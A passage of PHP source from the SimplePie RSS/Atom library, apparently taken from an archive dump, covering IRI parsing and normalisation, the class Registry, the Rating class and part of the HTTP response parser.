            // Continuation byte:
            else {
                // Check that the byte is valid, then add it to the character:
                if (($value & 0xC0) === 0x80) {
                    $remaining--;
                    $character |= ($value & 0x3F) << ($remaining * 6);
                }
                // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
                else {
                    $valid = false;
                    $remaining = 0;
                    $i--;
                }
            }

            // If we've reached the end of the current byte sequence, append it to Unicode::$data
            if (!$remaining) {
                // Percent encode anything invalid or not in iunreserved
                if (
                    // Invalid sequences
                    !$valid
                    // Non-shortest form sequences are invalid
                    || $length > 1 && $character <= 0x7F
                    || $length > 2 && $character <= 0x7FF
                    || $length > 3 && $character <= 0xFFFF
                    // Outside of range of iunreserved codepoints
                    || $character < 0x2D
                    || $character > 0xEFFFD
                    // Noncharacters
                    || ($character & 0xFFFE) === 0xFFFE
                    || $character >= 0xFDD0 && $character <= 0xFDEF
                    // Everything else not in iunreserved (this is all BMP)
                    || $character === 0x2F
                    || $character > 0x39 && $character < 0x41
                    || $character > 0x5A && $character < 0x61
                    || $character > 0x7A && $character < 0x7E
                    || $character > 0x7E && $character < 0xA0
                    || $character > 0xD7FF && $character < 0xF900
                ) {
                    for ($j = $start; $j <= $i; $j++) {
                        $string .= '%' . strtoupper($bytes[$j]);
                    }
                } else {
                    for ($j = $start; $j <= $i; $j++) {
                        $string .= chr(hexdec($bytes[$j]));
                    }
                }
            }
        }

        // If we have any bytes left over they are invalid (i.e., we are
        // mid-way through a multi-byte sequence)
        if ($remaining) {
            for ($j = $start; $j < $len; $j++) {
                $string .= '%' . strtoupper($bytes[$j]);
            }
        }

        return $string;
    }

    protected function scheme_normalization()
    {
        if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
            $this->iuserinfo = null;
        }
        if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
            $this->ihost = null;
        }
        if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
            $this->port = null;
        }
        if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
            $this->ipath = '';
        }
        if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
            $this->iquery = null;
        }
        if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
            $this->ifragment = null;
        }
    }

    /**
     * Check if the object represents a valid IRI. This needs to be done on each
     * call as some things change depending on another part of the IRI.
     *
     * @return bool
     */
    public function is_valid()
    {
        if ($this->ipath === '') {
            return true;
        }

        $isauthority = $this->iuserinfo !== null || $this->ihost !== null ||
            $this->port !== null;
        if ($isauthority && $this->ipath[0] === '/') {
            return true;
        }

        if (!$isauthority && (substr($this->ipath, 0, 2) === '//')) {
            return false;
        }

        // Relative urls cannot have a colon in the first path segment (and the
        // slashes themselves are not included so skip the first character).
        if (!$this->scheme && !$isauthority &&
            strpos($this->ipath, ':') !== false &&
            strpos($this->ipath, '/', 1) !== false &&
            strpos($this->ipath, ':') < strpos($this->ipath, '/', 1)) {
            return false;
        }

        return true;
    }

    /**
     * Set the entire IRI. Returns true on success, false on failure (if there
     * are any invalid characters).
     *
     * @param string $iri
     * @return bool
     */
    public function set_iri($iri, $clear_cache = false)
    {
        static $cache;
        if ($clear_cache) {
            $cache = null;
            return;
        }
        if (!$cache) {
            $cache = [];
        }

        if ($iri === null) {
            return true;
        } elseif (isset($cache[$iri])) {
            [
                $this->scheme,
                $this->iuserinfo,
                $this->ihost,
                $this->port,
                $this->ipath,
                $this->iquery,
                $this->ifragment,
                $return
            ] = $cache[$iri];

            return $return;
        }

        $parsed = $this->parse_iri((string) $iri);
        if (!$parsed) {
            return false;
        }

        $return = $this->set_scheme($parsed['scheme'])
            && $this->set_authority($parsed['authority'])
            && $this->set_path($parsed['path'])
            && $this->set_query($parsed['query'])
            && $this->set_fragment($parsed['fragment']);

        $cache[$iri] = [
            $this->scheme,
            $this->iuserinfo,
            $this->ihost,
            $this->port,
            $this->ipath,
            $this->iquery,
            $this->ifragment,
            $return
        ];

        return $return;
    }

    /**
     * Set the scheme. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string $scheme
     * @return bool
     */
    public function set_scheme($scheme)
    {
        if ($scheme === null) {
            $this->scheme = null;
        } elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
            $this->scheme = null;
            return false;
        } else {
            $this->scheme = strtolower($scheme);
        }
        return true;
    }

    /**
     * Set the authority. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string $authority
     * @return bool
     */
    public function set_authority($authority, $clear_cache = false)
    {
        static $cache;
        if ($clear_cache) {
            $cache = null;
            return;
        }
        if (!$cache) {
            $cache = [];
        }

        if ($authority === null) {
            $this->iuserinfo = null;
            $this->ihost = null;
            $this->port = null;
            return true;
        } elseif (isset($cache[$authority])) {
            [
                $this->iuserinfo,
                $this->ihost,
                $this->port,
                $return
            ] = $cache[$authority];

            return $return;
        }

        $remaining = $authority;
        if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
            $iuserinfo = substr($remaining, 0, $iuserinfo_end);
            $remaining = substr($remaining, $iuserinfo_end + 1);
        } else {
            $iuserinfo = null;
        }
        if (($port_start = strpos($remaining, ':', intval(strpos($remaining, ']')))) !== false) {
            if (($port = substr($remaining, $port_start + 1)) === false) {
                $port = null;
            }
            $remaining = substr($remaining, 0, $port_start);
        } else {
            $port = null;
        }

        $return = $this->set_userinfo($iuserinfo) &&
                  $this->set_host($remaining) &&
                  $this->set_port($port);

        $cache[$authority] = [
            $this->iuserinfo,
            $this->ihost,
            $this->port,
            $return
        ];

        return $return;
    }

    /**
     * Set the iuserinfo.
     *
     * @param string $iuserinfo
     * @return bool
     */
    public function set_userinfo($iuserinfo)
    {
        if ($iuserinfo === null) {
            $this->iuserinfo = null;
        } else {
            $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
            $this->scheme_normalization();
        }

        return true;
    }

    /**
     * Set the ihost. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string $ihost
     * @return bool
     */
    public function set_host($ihost)
    {
        if ($ihost === null) {
            $this->ihost = null;
            return true;
        } elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
            if (\SimplePie\Net\IPv6::check_ipv6(substr($ihost, 1, -1))) {
                $this->ihost = '[' . \SimplePie\Net\IPv6::compress(substr($ihost, 1, -1)) . ']';
            } else {
                $this->ihost = null;
                return false;
            }
        } else {
            $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');

            // Lowercase, but ignore pct-encoded sections (as they should
            // remain uppercase). This must be done after the previous step
            // as that can add unescaped characters.
            $position = 0;
            $strlen = strlen($ihost);
            while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
                if ($ihost[$position] === '%') {
                    $position += 3;
                } else {
                    $ihost[$position] = strtolower($ihost[$position]);
                    $position++;
                }
            }

            $this->ihost = $ihost;
        }

        $this->scheme_normalization();

        return true;
    }

    /**
     * Set the port. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string $port
     * @return bool
     */
    public function set_port($port)
    {
        if ($port === null) {
            $this->port = null;
            return true;
        } elseif (strspn($port, '0123456789') === strlen($port)) {
            $this->port = (int) $port;
            $this->scheme_normalization();
            return true;
        }

        $this->port = null;
        return false;
    }

    /**
     * Set the ipath.
     *
     * @param string $ipath
     * @return bool
     */
    public function set_path($ipath, $clear_cache = false)
    {
        static $cache;
        if ($clear_cache) {
            $cache = null;
            return;
        }
        if (!$cache) {
            $cache = [];
        }

        $ipath = (string) $ipath;

        if (isset($cache[$ipath])) {
            $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
        } else {
            $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
            $removed = $this->remove_dot_segments($valid);

            $cache[$ipath] = [$valid, $removed];
            $this->ipath =  ($this->scheme !== null) ? $removed : $valid;
        }

        $this->scheme_normalization();
        return true;
    }

    /**
     * Set the iquery.
     *
     * @param string $iquery
     * @return bool
     */
    public function set_query($iquery)
    {
        if ($iquery === null) {
            $this->iquery = null;
        } else {
            $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
            $this->scheme_normalization();
        }
        return true;
    }

    /**
     * Set the ifragment.
     *
     * @param string $ifragment
     * @return bool
     */
    public function set_fragment($ifragment)
    {
        if ($ifragment === null) {
            $this->ifragment = null;
        } else {
            $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
            $this->scheme_normalization();
        }
        return true;
    }

    /**
     * Convert an IRI to a URI (or parts thereof)
     *
     * @return string
     */
    public function to_uri($string)
    {
        static $non_ascii;
        if (!$non_ascii) {
            $non_ascii = implode('', range("\x80", "\xFF"));
        }

        $position = 0;
        $strlen = strlen($string);
        while (($position += strcspn($string, $non_ascii, $position)) < $strlen) {
            $string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1);
            $position += 3;
            $strlen += 2;
        }

        return $string;
    }

    /**
     * Get the complete IRI
     *
     * @return string
     */
    public function get_iri()
    {
        if (!$this->is_valid()) {
            return false;
        }

        $iri = '';
        if ($this->scheme !== null) {
            $iri .= $this->scheme . ':';
        }
        if (($iauthority = $this->get_iauthority()) !== null) {
            $iri .= '//' . $iauthority;
        }
        if ($this->ipath !== '') {
            $iri .= $this->ipath;
        } elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '') {
            $iri .= $this->normalization[$this->scheme]['ipath'];
        }
        if ($this->iquery !== null) {
            $iri .= '?' . $this->iquery;
        }
        if ($this->ifragment !== null) {
            $iri .= '#' . $this->ifragment;
        }

        return $iri;
    }

    /**
     * Get the complete URI
     *
     * @return string
     */
    public function get_uri()
    {
        return $this->to_uri($this->get_iri());
    }

    /**
     * Get the complete iauthority
     *
     * @return string
     */
    protected function get_iauthority()
    {
        if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null) {
            $iauthority = '';
            if ($this->iuserinfo !== null) {
                $iauthority .= $this->iuserinfo . '@';
            }
            if ($this->ihost !== null) {
                $iauthority .= $this->ihost;
            }
            if ($this->port !== null && $this->port !== 0) {
                $iauthority .= ':' . $this->port;
            }
            return $iauthority;
        }

        return null;
    }

    /**
     * Get the complete authority
     *
     * @return string
     */
    protected function get_authority()
    {
        $iauthority = $this->get_iauthority();
        if (is_string($iauthority)) {
            return $this->to_uri($iauthority);
        }

        return $iauthority;
    }
}

class_alias('SimplePie\IRI', 'SimplePie_IRI');
src/Registry.php000064400000020766151024210710007660 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use SimplePie\Content\Type\Sniffer;
use SimplePie\Parse\Date;
use SimplePie\XML\Declaration\Parser as DeclarationParser;

/**
 * Handles creating objects and calling methods
 *
 * Access this via {@see \SimplePie\SimplePie::get_registry()}
 *
 * @package SimplePie
 */
class Registry
{
    /**
     * Default class mapping
     *
     * Overriding classes *must* subclass these.
     *
     * @var array<class-string, class-string>
     */
    protected $default = [
        Cache::class => Cache::class,
        Locator::class => Locator::class,
        Parser::class => Parser::class,
        File::class => File::class,
        Sanitize::class => Sanitize::class,
        Item::class => Item::class,
        Author::class => Author::class,
        Category::class => Category::class,
        Enclosure::class => Enclosure::class,
        Caption::class => Caption::class,
        Copyright::class => Copyright::class,
        Credit::class => Credit::class,
        Rating::class => Rating::class,
        Restriction::class => Restriction::class,
        Sniffer::class => Sniffer::class,
        Source::class => Source::class,
        Misc::class => Misc::class,
        DeclarationParser::class => DeclarationParser::class,
        Date::class => Date::class,
    ];

    /**
     * Class mapping
     *
     * @see register()
     * @var array
     */
    protected $classes = [];

    /**
     * Legacy classes
     *
     * @see register()
     * @var array<class-string>
     */
    protected $legacy = [];

    /**
     * Legacy types
     *
     * @see register()
     * @var array<string, class-string>
     */
    private $legacyTypes = [
        'Cache' => Cache::class,
        'Locator' => Locator::class,
        'Parser' => Parser::class,
        'File' => File::class,
        'Sanitize' => Sanitize::class,
        'Item' => Item::class,
        'Author' => Author::class,
        'Category' => Category::class,
        'Enclosure' => Enclosure::class,
        'Caption' => Caption::class,
        'Copyright' => Copyright::class,
        'Credit' => Credit::class,
        'Rating' => Rating::class,
        'Restriction' => Restriction::class,
        'Content_Type_Sniffer' => Sniffer::class,
        'Source' => Source::class,
        'Misc' => Misc::class,
        'XML_Declaration_Parser' => DeclarationParser::class,
        'Parse_Date' => Date::class,
    ];

    /**
     * Constructor
     *
     * No-op
     */
    public function __construct()
    {
    }

    /**
     * Register a class
     *
     * @param string $type See {@see $default} for names
     * @param class-string $class Class name, must subclass the corresponding default
     * @param bool $legacy Whether to enable legacy support for this class
     * @return bool Successfulness
     */
    public function register($type, $class, $legacy = false)
    {
        if (array_key_exists($type, $this->legacyTypes)) {
            // trigger_error(sprintf('"%s"(): Using argument #1 ($type) with value "%s" is deprecated since SimplePie 1.8.0, use class-string "%s" instead.', __METHOD__, $type, $this->legacyTypes[$type]), \E_USER_DEPRECATED);

            $type = $this->legacyTypes[$type];
        }

        if (!array_key_exists($type, $this->default)) {
            return false;
        }

        if (!class_exists($class)) {
            return false;
        }

        /** @var string */
        $base_class = $this->default[$type];

        if (!is_subclass_of($class, $base_class)) {
            return false;
        }

        $this->classes[$type] = $class;

        if ($legacy) {
            $this->legacy[] = $class;
        }

        return true;
    }

    /**
     * Get the class registered for a type
     *
     * Where possible, use {@see create()} or {@see call()} instead
     *
     * @template T
     * @param class-string<T> $type
     * @return class-string<T>|null
     */
    public function get_class($type)
    {
        if (array_key_exists($type, $this->legacyTypes)) {
            // trigger_error(sprintf('"%s"(): Using argument #1 ($type) with value "%s" is deprecated since SimplePie 1.8.0, use class-string "%s" instead.', __METHOD__, $type, $this->legacyTypes[$type]), \E_USER_DEPRECATED);

            $type = $this->legacyTypes[$type];
        }

        if (!array_key_exists($type, $this->default)) {
            return null;
        }

        $class = $this->default[$type];

        if (array_key_exists($type, $this->classes)) {
            $class = $this->classes[$type];
        }

        return $class;
    }

    /**
     * Create a new instance of a given type
     *
     * @template T class-string $type
     * @param class-string<T> $type
     * @param array $parameters Parameters to pass to the constructor
     * @return T Instance of class
     */
    public function &create($type, $parameters = [])
    {
        $class = $this->get_class($type);

        if (!method_exists($class, '__construct')) {
            $instance = new $class();
        } else {
            $reflector = new \ReflectionClass($class);
            $instance = $reflector->newInstanceArgs($parameters);
        }

        if ($instance instanceof RegistryAware) {
            $instance->set_registry($this);
        } elseif (method_exists($instance, 'set_registry')) {
            trigger_error(sprintf('Using the method "set_registry()" without implementing "%s" is deprecated since SimplePie 1.8.0, implement "%s" in "%s".', RegistryAware::class, RegistryAware::class, $class), \E_USER_DEPRECATED);
            $instance->set_registry($this);
        }
        return $instance;
    }

    /**
     * Call a static method for a type
     *
     * @param class-string $type
     * @param string $method
     * @param array $parameters
     * @return mixed
     */
    public function &call($type, $method, $parameters = [])
    {
        $class = $this->get_class($type);

        if (in_array($class, $this->legacy)) {
            switch ($type) {
                case Cache::class:
                    // For backwards compatibility with old non-static
                    // Cache::create() methods in PHP < 8.0.
                    // No longer supported as of PHP 8.0.
                    if ($method === 'get_handler') {
                        $result = @call_user_func_array([$class, 'create'], $parameters);
                        return $result;
                    }
                    break;
            }
        }

        $result = call_user_func_array([$class, $method], $parameters);
        return $result;
    }
}

class_alias('SimplePie\Registry', 'SimplePie_Registry');
src/Rating.php000064400000007151151024210710007265 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles `<media:rating>` or `<itunes:explicit>` tags as defined in Media RSS and iTunes RSS respectively
 *
 * Used by {@see \SimplePie\Enclosure::get_rating()} and {@see \SimplePie\Enclosure::get_ratings()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_rating_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Rating
{
    /**
     * Rating scheme
     *
     * @var string
     * @see get_scheme()
     */
    public $scheme;

    /**
     * Rating value
     *
     * @var string
     * @see get_value()
     */
    public $value;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct($scheme = null, $value = null)
    {
        $this->scheme = $scheme;
        $this->value = $value;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the organizational scheme for the rating
     *
     * @return string|null
     */
    public function get_scheme()
    {
        if ($this->scheme !== null) {
            return $this->scheme;
        }

        return null;
    }

    /**
     * Get the value of the rating
     *
     * @return string|null
     */
    public function get_value()
    {
        if ($this->value !== null) {
            return $this->value;
        }

        return null;
    }
}

class_alias('SimplePie\Rating', 'SimplePie_Rating');
src/HTTP/Parser.php000064400000035073151024210710010060 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\HTTP;

/**
 * HTTP Response Parser
 *
 * @package SimplePie
 * @subpackage HTTP
 */
class Parser
{
    /**
     * HTTP Version
     *
     * @var float
     */
    public $http_version = 0.0;

    /**
     * Status code
     *
     * @var int
     */
    public $status_code = 0;

    /**
     * Reason phrase
     *
     * @var string
     */
    public $reason = '';

    /**
     * Key/value pairs of the headers
     *
     * @var array
     */
    public $headers = [];

    /**
     * Body of the response
     *
     * @var string
     */
    public $body = '';

    private const STATE_HTTP_VERSION = 'http_version';

    private const STATE_STATUS = 'status';

    private const STATE_REASON = 'reason';

    private const STATE_NEW_LINE = 'new_line';

    private const STATE_BODY = 'body';

    private const STATE_NAME = 'name';

    private const STATE_VALUE = 'value';

    private const STATE_VALUE_CHAR = 'value_char';

    private const STATE_QUOTE = 'quote';

    private const STATE_QUOTE_ESCAPED = 'quote_escaped';

    private const STATE_QUOTE_CHAR = 'quote_char';

    private const STATE_CHUNKED = 'chunked';

    private const STATE_EMIT = 'emit';

    private const STATE_ERROR = false;

    /**
     * Current state of the state machine
     *
     * @var self::STATE_*
     */
    protected $state = self::STATE_HTTP_VERSION;

    /**
     * Input data
     *
     * @var string
     */
    protected $data = '';

    /**
     * Input data length (to avoid calling strlen() everytime this is needed)
     *
     * @var int
     */
    protected $data_length = 0;

    /**
     * Current position of the pointer
     *
     * @var int
     */
    protected $position = 0;

    /**
     * Name of the hedaer currently being parsed
     *
     * @var string
     */
    protected $name = '';

    /**
     * Value of the hedaer currently being parsed
     *
     * @var string
     */
    protected $value = '';

    /**
     * Create an instance of the class with the input data
     *
     * @param string $data Input data
     */
    public function __construct($data)
    {
        $this->data = $data;
        $this->data_length = strlen($this->data);
    }

    /**
     * Parse the input data
     *
     * @return bool true on success, false on failure
     */
    public function parse()
    {
        while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) {
            $state = $this->state;
            $this->$state();
        }
        $this->data = '';
        if ($this->state === self::STATE_EMIT || $this->state === self::STATE_BODY) {
            return true;
        }

        $this->http_version = '';
        $this->status_code = 0;
        $this->reason = '';
        $this->headers = [];
        $this->body = '';
        return false;
    }

    /**
     * Check whether there is data beyond the pointer
     *
     * @return bool true if there is further data, false if not
     */
    protected function has_data()
    {
        return (bool) ($this->position < $this->data_length);
    }

    /**
     * See if the next character is LWS
     *
     * @return bool true if the next character is LWS, false if not
     */
    protected function is_linear_whitespace()
    {
        return (bool) ($this->data[$this->position] === "\x09"
            || $this->data[$this->position] === "\x20"
            || ($this->data[$this->position] === "\x0A"
                && isset($this->data[$this->position + 1])
                && ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
    }

    /**
     * Parse the HTTP version
     */
    protected function http_version()
    {
        if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') {
            $len = strspn($this->data, '0123456789.', 5);
            $this->http_version = substr($this->data, 5, $len);
            $this->position += 5 + $len;
            if (substr_count($this->http_version, '.') <= 1) {
                $this->http_version = (float) $this->http_version;
                $this->position += strspn($this->data, "\x09\x20", $this->position);
                $this->state = self::STATE_STATUS;
            } else {
                $this->state = self::STATE_ERROR;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse the status code
     */
    protected function status()
    {
        if ($len = strspn($this->data, '0123456789', $this->position)) {
            $this->status_code = (int) substr($this->data, $this->position, $len);
            $this->position += $len;
            $this->state = self::STATE_REASON;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse the reason phrase
     */
    protected function reason()
    {
        $len = strcspn($this->data, "\x0A", $this->position);
        $this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
        $this->position += $len + 1;
        $this->state = self::STATE_NEW_LINE;
    }

    /**
     * Deal with a new line, shifting data around as needed
     */
    protected function new_line()
    {
        $this->value = trim($this->value, "\x0D\x20");
        if ($this->name !== '' && $this->value !== '') {
            $this->name = strtolower($this->name);
            // We should only use the last Content-Type header. c.f. issue #1
            if (isset($this->headers[$this->name]) && $this->name !== 'content-type') {
                $this->headers[$this->name] .= ', ' . $this->value;
            } else {
                $this->headers[$this->name] = $this->value;
            }
        }
        $this->name = '';
        $this->value = '';
        if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") {
            $this->position += 2;
            $this->state = self::STATE_BODY;
        } elseif ($this->data[$this->position] === "\x0A") {
            $this->position++;
            $this->state = self::STATE_BODY;
        } else {
            $this->state = self::STATE_NAME;
        }
    }

    /**
     * Parse a header name
     */
    protected function name()
    {
        $len = strcspn($this->data, "\x0A:", $this->position);
        if (isset($this->data[$this->position + $len])) {
            if ($this->data[$this->position + $len] === "\x0A") {
                $this->position += $len;
                $this->state = self::STATE_NEW_LINE;
            } else {
                $this->name = substr($this->data, $this->position, $len);
                $this->position += $len + 1;
                $this->state = self::STATE_VALUE;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse LWS, replacing consecutive LWS characters with a single space
     */
    protected function linear_whitespace()
    {
        do {
            if (substr($this->data, $this->position, 2) === "\x0D\x0A") {
                $this->position += 2;
            } elseif ($this->data[$this->position] === "\x0A") {
                $this->position++;
            }
            $this->position += strspn($this->data, "\x09\x20", $this->position);
        } while ($this->has_data() && $this->is_linear_whitespace());
        $this->value .= "\x20";
    }

    /**
     * See what state to move to while within non-quoted header values
     */
    protected function value()
    {
        if ($this->is_linear_whitespace()) {
            $this->linear_whitespace();
        } else {
            switch ($this->data[$this->position]) {
                case '"':
                    // Workaround for ETags: we have to include the quotes as
                    // part of the tag.
                    if (strtolower($this->name) === 'etag') {
                        $this->value .= '"';
                        $this->position++;
                        $this->state = self::STATE_VALUE_CHAR;
                        break;
                    }
                    $this->position++;
                    $this->state = self::STATE_QUOTE;
                    break;

                case "\x0A":
                    $this->position++;
                    $this->state = self::STATE_NEW_LINE;
                    break;

                default:
                    $this->state = self::STATE_VALUE_CHAR;
                    break;
            }
        }
    }

    /**
     * Parse a header value while outside quotes
     */
    protected function value_char()
    {
        $len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
        $this->value .= substr($this->data, $this->position, $len);
        $this->position += $len;
        $this->state = self::STATE_VALUE;
    }

    /**
     * See what state to move to while within quoted header values
     */
    protected function quote()
    {
        if ($this->is_linear_whitespace()) {
            $this->linear_whitespace();
        } else {
            switch ($this->data[$this->position]) {
                case '"':
                    $this->position++;
                    $this->state = self::STATE_VALUE;
